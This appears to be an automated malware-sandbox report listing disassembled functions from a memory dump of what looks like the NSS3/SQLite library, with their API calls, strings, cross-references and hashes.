Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C693A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693A4E
PR_Unlock.NSS3(?), ref: 6C693A77
PR_SetError.NSS3(00000000,00000000), ref: 6C693A8F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 0bc1af5837c56def22fbaa730a0db54542cceb920131d4b724065381dfbaa7db
Instruction ID: e3093113840c75e3039821ea8dc9288208a7841d3e6bc14ebcdb6de68f75e213
Opcode Fuzzy Hash: 0bc1af5837c56def22fbaa730a0db54542cceb920131d4b724065381dfbaa7db
Instruction Fuzzy Hash: E6915975D0021A9FDB00DFA8D884AAEBBB4FF09318F145179EC19A7711E731E984CB99

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

%s at line %d of [%.10s], xrefs: 6C5DF492
database corruption, xrefs: 6C5DF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

manufacturer, xrefs: 6C6A2179
token, xrefs: 6C6A1F2C
model, xrefs: 6C6A23CB, 6C6A23EC
serial, xrefs: 6C6A22A2

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

winAccess, xrefs: 6C5E129B
Pvl, xrefs: 6C5E109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D30
gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6CF5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

$, xrefs: 6C7212A0
%lld, xrefs: 6C72114B
'%.*q', xrefs: 6C721217, 6C721292
NULL, xrefs: 6C72119E
%02x, xrefs: 6C7212F6
zeroblob(%d), xrefs: 6C721223
-- , xrefs: 6C720FF5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

UUUU, xrefs: 6C729255
3333, xrefs: 6C72925E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

